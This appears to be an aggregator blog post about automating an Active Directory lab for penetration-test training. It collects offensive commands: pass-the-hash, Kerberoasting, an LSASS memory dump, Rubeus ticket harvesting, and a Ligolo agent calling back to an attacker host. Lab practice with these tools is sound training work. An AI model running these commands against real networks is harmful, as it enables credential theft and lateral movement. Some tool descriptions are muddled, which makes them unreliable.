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Jose C., a Database Security Engineer, shared his experience customizing NetExec and Ligolo for an Active Directory (AD) Lab, leveraging Andrew Lobenstein’s AD Lab automation scripts. His post highlights the efficiency of automation in cybersecurity labs, particularly for OSCP preparation, pivoting, and AD hacking.
🔗 Reference: Andrew Lobenstein’s AD Lab Automation Scripts
You Should Know:
1. NetExec (A Modern CrackMapExec)
NetExec is a powerful post-exploitation tool for assessing AD security. Below are key commands:
Basic usage (SMB protocol) netexec smb <TARGET_IP> -u <USERNAME> -p <PASSWORD> --shares Pass-the-Hash Attack netexec smb <TARGET_IP> -u <USERNAME> -H <NTLM_HASH> --local-auth Execute commands via WMI netexec wmi <TARGET_IP> -u <ADMIN_USER> -p <PASSWORD> -X "whoami"
2. Ligolo-NG (Advanced Tunneling/Pivoting)
Ligolo-NG is a tunneling tool for pivoting in compromised networks.
Setup:
Start the proxy server (Attacker Machine) ./ligolo -selfcert -laddr 0.0.0.0:443 On the Victim Machine (Agent) ./ligolo-agent -connect <ATTACKER_IP>:443 -ignore-cert
Routing Traffic:
Add a new route sudo ip route add <TARGET_SUBNET> via <VICTIM_IP> Use Ligolo as a SOCKS proxy ssh -D 1080 -N -f user@ligolo_proxy
3. Automating AD Labs with PowerShell
Andrew Lobenstein’s scripts help automate AD lab setups. Key steps:
Create AD Users New-ADUser -Name "TestUser" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true Configure Group Policy (GPO) Import-Module GroupPolicy New-GPO -Name "SecureConfig" | New-GPLink -Target "dc=lab,dc=local"
What Undercode Say:
Automating Active Directory labs with tools like NetExec, Ligolo, and PowerShell is essential for red teaming, OSCP prep, and penetration testing. Below are additional Linux/Windows commands for AD exploitation:
Linux (AD-Related Commands)
Enumerate LDAP ldapsearch -x -H ldap://<DC_IP> -D "cn=admin,dc=lab,dc=local" -w "password" -b "dc=lab,dc=local" Kerberoasting with Impacket GetUserSPNs.py lab.local/user:password -dc-ip <DC_IP> -request
Windows (AD Commands)
Dump LSASS (Mimikatz Alternative) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp full Extract Tickets with Rubeus Rubeus.exe harvest /interval:30
Conclusion: Automating lab setups with NetExec, Ligolo, and PowerShell accelerates AD security testing. Mastering these tools is crucial for cybersecurity professionals.
Expected Output:
- A fully automated AD lab for penetration testing.
- Efficient pivoting and lateral movement with Ligolo.
- Post-exploitation using NetExec for AD enumeration.
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Reported By: Activity 7318424911629205505 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
